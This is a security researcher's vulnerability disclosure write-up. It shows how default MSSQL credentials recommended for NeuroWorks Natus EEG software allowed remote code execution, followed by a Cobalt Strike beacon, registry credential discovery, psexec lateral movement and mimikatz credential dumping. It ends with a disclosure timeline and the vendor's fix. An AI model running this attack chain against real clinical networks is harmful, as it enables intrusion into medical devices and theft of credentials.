Overall Analysis of Vulnerability Identification – Default Credentials Leading to Remote Code Execution
During internal network testing, a document was discovered titled the “XL Security Site Administrator Reference.pdf.” It appeared to be a guide for the specific configuration of the SQL service running on NeuroWorks Natus. Being that this was a guide, it was extensive and detailed the software in-depth.
Searching “NeuroWorks Natus” online brought up the following website:
https://natus.com/products-services/natus-neuroworks-eeg-software
Overall, the software description describes it as a platform that “simplifies the process of collecting, monitoring, trending and managing data for routine EEG testing, ambulatory EEG, long-term monitoring, ICU monitoring, and research studies. NeuroWorks systems are scalable to meet the needs of private practice clinics, hospitals, large teaching facilities and EEG service providers. Natus NeuroWorks is a cutting-edge, single solution for EEG, LTM, ICU, Sleep, and Research Studies, exhibiting an advanced software for clinical excellence.” Additionally, the description highlights some key features of the software.
The reality was simple, the software contains a wide array of usage as a baseline for ingesting and managing data collected by various electroencephalogram (EEG) equipment. In addition, the description also states that “The Microsoft SQL-based NeuroWorks database is a powerful tool that simplifies the management of patient, study and laboratory data….”
In short, the software utilizes MSSQL.
The configuration of the system administrator for the database caught my attention while reading the administration guide further.
Figure 3. XL Security site administrator guide, description of credential usage
There were a few things to note in this section of the guide.
Normally, default credentials configured with software or hardware aren’t necessarily considered a zero day vulnerability. On paper, one could argue that default credentials “are” a zero day, but this would only apply if the credentials were hardcoded in a way that couldn’t be changed. If a user can rotate credentials, the vulnerability severity is decreased significantly, and is questionable as a legitimate vulnerability in general. In the instance of Neuroworks’ Natus EEG Software, there’s a notable issue at play. First and foremost, the vendor strongly recommends that the credentials packaged with the software remain default.
Why would this be recommended? Is this a vulnerability?
Well, for non-technical users, and even many technical users, the next section of this text block attempts to dissuade from changing the password, and even downplays the necessity of changing the MSSQL system administration password by using language such as:
“This password is seldom used by Neuroworks, it’s only used while…” and “If the password has been altered, the creation of a new virtual server will fail” (including the modification of tables or database resources as stated in the previous portion of this text).
The other concerning portion of the text is that liability is transferred to the user by acknowledging that this is indeed an issue, but offers an unrealistic workaround that most standard users are not going to take:
“One way to overcome this limitation is to temporarily alter the password for the database user ‘xltek’ to its default ‘xltek’ and then set it back after creating the virtual database.”
Simply put, if the administrator wants to alter or create database resources, the default password needs to be used or it will fail. NeuroWorks acknowledges this as an issue and states to change a strong, new password back to the weak, default password in the instance changes are needed. The language in the beginning portion of the text strongly recommends keeping the default password as it’s “seldom” used. This may be true from an administrator’s perspective, but a threat actor would have an entirely different perspective.
It seems that the description of how MSSQL credentials are managed by NeuroWorks indicated that there was a high probability of systems in the environment with misconfigured EEG software that would help a threat actor achieve remote code execution. For the sake of client privacy, the enumeration methodology or hostnames will not be described. Utilizing your imagination and a little bit of CrackMapExec, I assure you that the systems can be discovered. For the sake of this writeup the actual hostname was replaced with EEGHOST.
With several systems discovered, CrackMapExec made it trivial to obtain remote code execution (RCE) on the affected host machine. We knew from the description of the user that the service would have locally configured ‘sa’ user with the password ‘xltek’. Still, the service was only exposed on the local company network, so traffic had to be proxied through another compromised host in conjunction with proxychains.
└─$ proxychains -q crackmapexec mssql EEGHOST -u 'sa' -p 'xltek' --local-auth -x 'whoami' | ||||
MSSQ | EEGHOST | 1433 | EEGHOST | [*] Windows 10.0 Build 14393(name:EEGHOST) (domain: EEGHOST) |
MSSQ | EEGHOST | 1433 | EEGHOST | [-] EEGHOST\sa:xltek table users has no column named pillaged_from_computerid |
MSSQ | EEGHOST | 1433 | EEGHOST | [+] Executed command via mssqlexec |
MSSQ | EEGHOST | 1433 | EEGHOST | ----------------------------------------------------------- |
MSSQ | EEGHOST | 1433 | EEGHOST | nt authority\network service |
The severity was chilling. Trivial remote code execution on a medical device via default credentials was likely because of vendor recommendations. This same command was run on several separate Windows machines with the same success.
Simple remote code execution wasn’t enough. How easily could a threat actor drop a Command and Control (C2) beacon and utilize a Windows device with NeuroWorks Natus EEG Software?
└─$ proxychains -q crackmapexec mssql EEGHOST -u 'sa' -p 'xltek' --local-auth --put-file /home/mrhacking/Desktop/cobaltstrike/payloads/armsvc.exe C:\\Temp\\Events\\armsvc.exe | ||||
MSSQ | EEGHOST | 1433 | EEGHOST | [*] Windows 10.0 Build 14393 (name:EEGHOST) (domain:EEGHOST) |
MSSQ | EEGHOST | 1433 | EEGHOST | [-] EEGHOST\sa:xltek table users has no column named pillaged_from_computerid |
MSSQ | EEGHOST | 1433 | EEGHOST | [*] Copy /home/mrhacking/Desktop/cobaltstrike/payloads/armsvc.exe to C:\Temp\Events\armsvc.exe |
MSSQ | EEGHOST | 1433 | EEGHOST | [*] Size is 409088 bytes |
MSSQ | EEGHOST | 1433 | EEGHOST | [+] File has been uploaded on the remote machine |
└─$ proxychains -q crackmapexec mssql EEGHOST -u 'sa' -p 'xltek' --local-auth -x 'dir C:\Temp\Events\' | ||||
MSSQ | EEGHOST | 1433 | EEGHOST | [*] Windows 10.0 Build 14393 (name:EEGHOST) (domain:EEGHOST) |
MSSQ | EEGHOST | 1433 | EEGHOST | >[-] EEGHOST\sa:xltek table users has no column named pillaged_from_computerid |
MSSQ | EEGHOST | 1433 | EEGHOST | [+] Executed command via mssqlexec |
MSSQ | EEGHOST | 1433 | EEGHOST | -------------------------------------------------------------------------------- |
MSSQ | EEGHOST | 1433 | EEGHOST | Volume in drive C is Windows |
MSSQ | EEGHOST | 1433 | EEGHOST | Volume Serial Number is A050-B8DA |
MSSQ | EEGHOST | 1433 | EEGHOST | Directory of C:\Temp\Events |
MSSQ | EEGHOST | 1433 | EEGHOST | 06/15/2023 02:54 PM <DIR>. |
MSSQ | EEGHOST | 1433 | EEGHOST | 06/15/2023 02:54 PM <DIR>.. |
MSSQ | EEGHOST | 1433 | EEGHOST | 06/23/2023 02:31 PM 409,088 armsvc.exe |
MSSQ | EEGHOST | 1433 | EEGHOST | 1 File(s) 409,088 bytes |
MSSQ | EEGHOST | 1433 | EEGHOST | 2 Dir(s) 34,903,302,144 bytes free |
└─$ proxychains -q crackmapexec mssql EEGHOST -u 'sa' -p 'xltek' --local-auth -x 'cmd.exe /c start C:\Temp\Events\armsvc.exe' | ||||
MSSQ | EEGHOST | 1433 | EEGHOST | [*] Windows 10.0 Build 14393 (name:EEGHOST) (domain:EEGHOST) |
MSSQ | EEGHOST | 1433 | EEGHOST | [-] EEGHOST\sa:xltek table users has no column named pillaged_from_computerid |
MSSQ | EEGHOST | 1433 | EEGHOST | [+] Executed command via mssqlexec |
MSSQ | EEGHOST | 1433 | EEGHOST | None |
What’s displayed above is a simple set of commands. First, the Cobalt Strike beacon is uploaded to a new folder in ‘Temp’ named ‘Events’. This is primarily because as the user ‘nt authority\network service’, the limitations of binary write, and execution are significant. Then, the ‘dir’ command is utilized to ensure the beacon wasn’t detected at rest (static detection) and quarantined. Lastly, cmd.exe in conjunction with the /c switch for command and start, with the full path to the binary, is executed to start the binary and establish a callback to the Cobalt Strike server.
It’s important to note that a simple process listing reveals no antivirus or endpoint detection response tooling, which is more common on medical devices than blue teamers like to admit (and is usually a business unit issue that will take many hours to debate).
beacon> ps | |
[*] Tasked beacon to list processes | |
[+] host called home, sent: 28 bytes | |
[*] Process List | |
[*] This Beacon PID: YELLOW 5500 |
PID | PPID | Name | Arch | Session | User |
0 | 0 | [System Process] | |||
4 | 0 | System | x64 | 0 | |
360 | 4 | smss.exe | x64 | 0 | NT AUTHORITY\SYSTEM |
2732 | 4 | Memory | Compression x64 | 0 | NT AUTHORITY\SYSTEM |
512 | 488 | csrss.exe | |||
536 | 3644 | XLLoginMonitorSvc.exe | x86 | 1 | EXAMPLEDOMAIN\example_adminuser |
596 | 488 | wininit.exe | x64 | 0 | NT AUTHORITY\SYSTEM |
668 | 596 | services.exe | x64 | 0 | NT AUTHORITY\SYSTEM |
840 | 668 | svchost.exe | x64 | 0 | NT AUTHORITY\SYSTEM |
4548 | 840 | RuntimeBroker.exe | x64 | 1 | EXAMPLEDOMAIN\example_adminuser |
4972 | 840 | XLLaunchSvr.exe | x86 | 1 | EXAMPLEDOMAIN\example_adminuser |
5456 | 840 | ShellExperienceHost.exe | x64 | 1 | EXAMPLEDOMAIN\example_adminuser |
5688 | 840 | SearchUI.exe | x64 | 1 | EXAMPLEDOMAIN\example_adminuser |
908 | 668 | svchost.exe | x64 | 0 | NT AUTHORITY\NETWORK SERVICE |
948 | 668 | svchost.exe | x64 | 0 | NT AUTHORITY\SYSTEM |
4340 | 948 | sihost.exe | x64 | 1 | EXAMPLEDOMAIN\example_adminuser |
4792 | 948 | taskhostw.exe | x64 | 1 | EXAMPLEDOMAIN\example_adminuser |
980 | 668 | svchost.exe | x64 | 0 | NT AUTHORITY\NETWORK SERVICE |
1012 | 668 | BatchSrv.exe | x86 | 0 | NT AUTHORITY\SYSTEM |
1020 | 668 | svchost.exe | x64 | 0 | NT AUTHORITY\LOCAL SERVICE |
1036 | 668 | svchost.exe | x64 | 0 | NT AUTHORITY\LOCAL SERVICE |
1072 | 668 | svchost.exe | x64 | 0 | NT AUTHORITY\LOCAL SERVICE |
1136 | 668 | svchost.exe | x64 | 0 | NT AUTHORITY\LOCAL SERVICE |
1232 | 668 | svchost.exe | x64 | 0 | NT AUTHORITY\SYSTEM |
1748 | 668 | PresentationFontCache.exe | x64 | 0 | NT AUTHORITY\LOCAL SERVICE |
1760 | 668 | svchost.exe | x64 | 0 | NT AUTHORITY\LOCAL SERVICE |
11124 | 1760 | audiodg.exe | x64 | 0 | NT AUTHORITY\LOCAL SERVICE |
1860 | 668 | svchost.exe | x64 | 0 | NT AUTHORITY\LOCAL SERVICE |
1928 | 668 | svchost.exe | x64 | 0 | NT AUTHORITY\NETWORK SERVICE |
2064 | 668 | spoolsv.exe | x64 | 0 | NT AUTHORITY\SYSTEM |
2200 | 668 | sqlservr.exe | x64 | 0 | NT AUTHORITY\NETWORK SERVICE |
2212 | 668 | armsvc.exe | x86 | 0 | NT AUTHORITY\SYSTEM |
2224 | 668 | atashost.exe | x86 | 0 | NT AUTHORITY\SYSTEM |
2236 | 668 | svchost.exe | x64 | 0 | NT AUTHORITY\SYSTEM |
2248 | 668 | esif_uf.exe | x64 | 0 | NT AUTHORITY\SYSTEM |
10840 | 2248 | esif_assist_64.exe | x64 | 1 | EXAMPLEDOMAIN\example_adminuser |
2280 | 668 | ibtsiva.exe | x64 | 0 | NT AUTHORITY\SYSTEM |
2324 | 668 | svchost.exe | x64 | 0 | NT AUTHORITY\LOCAL SERVICE |
2380 | 668 | nssm.exe | x86 | 0 | NT AUTHORITY\SYSTEM |
2968 | 2380 | NetServer.exe | x86 | 0 | NT AUTHORITY\SYSTEM |
2400 | 668 | sqlwriter.exe | x64 | 0 | NT AUTHORITY\SYSTEM |
2428 | 668 | TCPSVCS.EXE | x64 | 0 | NT AUTHORITY\LOCAL SERVICE |
2444 | 668 | IAStorDataMgrSvc.exe | x86 | 0 | NT AUTHORITY\SYSTEM |
2456 | 668 | svchost.exe | x64 | 0 | NT AUTHORITY\SYSTEM |
2476 | 668 | winvnc.exe | x64 | 0 | NT AUTHORITY\SYSTEM |
4280 | 2476 | winvnc.exe | x64 | 1 | NT AUTHORITY\SYSTEM |
2664 | 668 | XLRestarter.exe | x86 | 0 | NT AUTHORITY\SYSTEM |
2804 | 668 | EvtMsgSvc.exe | x86 | 0 | NT AUTHORITY\SYSTEM |
2820 | 668 | Sentry.exe | x86 | 0 | NT AUTHORITY\SYSTEM |
3136 | 668 | XLDeleterService.exe | x86 | 0 | NT AUTHORITY\SYSTEM |
3428 | 668 | chatsrv.exe | x86 | 0 | NT AUTHORITY\SYSTEM |
3456 | 668 | Storage.exe | x86 | 0 | NT AUTHORITY\SYSTEM |
3624 | 668 | AlarmRelayController.exe | x86 | 0 | NT AUTHORITY\SYSTEM |
3664 | 668 | XLStartupSvc.exe | x86 | 0 | NT AUTHORITY\SYSTEM |
3704 | 668 | Starter.exe | x86 | 0 | NT AUTHORITY\SYSTEM |
3808 | 668 | AVMediaServer.exe | x86 | 0 | NT AUTHORITY\SYSTEM |
3828 | 668 | XLAnalyzerSrv.exe | x86 | 0 | NT AUTHORITY\SYSTEM |
3848 | 668 | PTZServer.exe | x86 | 0 | NT AUTHORITY\SYSTEM |
3976 | 668 | NetCOMBridge.exe | x86 | 0 | NT AUTHORITY\SYSTEM |
4012 | 668 | XLAuditSvc.exe | x86 | 0 | NT AUTHORITY\SYSTEM |
Surely this isn’t the end. As the current user, being restricted to a local user and a low privileged one, is a bummer. Pivoting the network is the name of the game, thus, PowerUp.ps1 is utilized to discover misconfigurations. The best scenario was that there was a way to become a local admin or NT AUTHORITY\System to dump possible domain users for pivoting. As seen in the above process list, a domain user was active on the system (represented with a replacement EXAMPLEDOMAIN\example_adminuser) for privacy.
beacon> powershell-import PowerUp.ps1 | ||
[*] Tasked beacon to import: /home/mrhacking/cstools/Aggressor-scripts/kits/PrivescKit/scripts/PowerUp.ps1 | ||
beacon> powershell Invoke-AllChecks | ||
[*] Tasked beacon to run: Invoke-AllChecks | ||
[*] Checking for Autologon credentials in registry... | ||
DefaultDomainName: | exampledomain | |
DefaultUserName: | example_adminuser | |
DefaultPassword: | Example_password312! | |
AltDefaultDomainName: | ||
AltDefaultUserName: | ||
AltDefaultPassword: | ||
Within moments, registry autologon credentials are discovered for a domain user. The domain user also maintained local administrator privileges. Pivoting to another system would now be possible since this user likely had access to some of the other identified machines from earlier enumeration.
beacon> make_token exampledomain\example_adminuser Example_password312! | |
[*] Tasked beacon to create a token for exampledomain\example_adminuser | |
[+] host called home, sent: 54 bytes | |
[+] Impersonated exampledomain\example_adminuser (netonly) | |
beacon> jump psexec NEWEEGHOST smb_bin | |
[*] Tasked beacon to run windows/beacon_bind_pipe (\\.\pipe\mojo.12312.12356.12987223611888699062) on NEWEEGHOST via Service Control Manager (\\NEWEEGHOST\ADMIN$\3dd1065.exe) | |
[+] host called home, sent: 416090 bytes | |
[+] received output: | |
Started service 3dd1065 on NEWEEGHOST | |
[+] established link to child beacon: X.X.X.X | |
Once the beacon was established, the same situation occurred. This new EEG host did not have antivirus and endpoint detection response software and was not discovered. This host appeared to have more instances of user activity, thus, with local administrative privilege on this host as well – credentials were dumped.
beacon> logonpasswords | ||
[*] | Tasked beacon to run mimikatz's sekurlsa::logonpasswords command | |
[+] | host called home, sent: 312954 bytes | |
[+] | received output: | |
Authentication Id : 0 ; 241010 (00000000:0003ad72) | ||
Session: | Interactive from 1 | |
User Name: | newuserfoo | |
Domain: | EEGHOST2 | |
Logon Server: | EEGHOST2 | |
Logon Time: | 2023/06/15 15:27 | |
SID: S-1-5-21-2061182402-2400833649-1108084613-1001 | ||
msv : | ||
[00000003] Primary | ||
* Username : | otherlocaluser_foo | |
* Domain: | EEGHOST2 | |
* NTLM: | REDACTED | |
* SHA1: | REDACTED | |
tspkg : | ||
* Username: | otherlocaluser_foo | |
* Domain: | EEGHOST2 | |
* Password: | REDACTED | |
wdigest : | ||
* Username: | otherlocaluser_foo | |
* Domain: | EEGHOST2 | |
* Password: | (null) | |
kerberos : | ||
* Username: | otherlocaluser_foo | |
* Domain: | EEGHOST2 | |
* Password: | (null) | |
ssp : | ||
credman : | ||
[00000000] | ||
* Username: | anotherdomainuser_foo | |
* Domain: | anothernewdomain | |
* Password: | REDACTED | |
[00000001] | ||
* Username: | exampledomain\domainuserfoo | |
* Domain: | anothernewdomain | |
* Password: | REDACTED | |
At this point, access to two new users was acquired, and other host machines were identified via corresponding logon servers. Pivoting further would undoubtedly be possible, and that’s exactly what the next move was. Repeating the Cobalt Strike jump command afforded access to these hosts. For the sake of not repeating the same steps, this is where the journey ends.
The vendor has revised the Administrator Reference document by discontinuing the endorsement of default password usage. Instead, the vendor strongly recommends that all users change default SQL credentials. This requires to update the software to leverage the Credentials Cache feature, introduced in version 8.4 GMA3. The technical service team will provide the revised documentation to customers on request, and in the future, it will be integrated into the Neuroworks software installation package.
The vendor has additionally released a security advisory regarding this threat. You can access the security bulletin at this link: https://natus.bynder.com/m/7cd3bcca88e446d4/original/NeuroWorks-SleepWorks-Product-Security-Bulletin.pdf
06/27/2023 - Trustwave disclosed vulnerability to vendor
07/07/2023 - Vendor provides Trustwave with preliminary version of the updated documentation
07/18/2023 - Vendor has provided Trustwave with remediation plan
10/20/2023 - Vendor publishes security bulletin
NeuroWorks should release an official patch that allows backwards compatibility for the MSSQL version to implement integrated security (Windows authentication) for connecting to the database. This eliminates the need for a locally privileged password altogether and allows users to connect based on active directory permissions that affords them access the service. The possible risk of allowing this is that it requires domain trust, but the reality is that database servers will be more likely to have endpoint detection response protection. A bad actor would have to exploit a domain user with those specific permissions instead of having the ability to execute code on the host machines by default through the MSSQL service.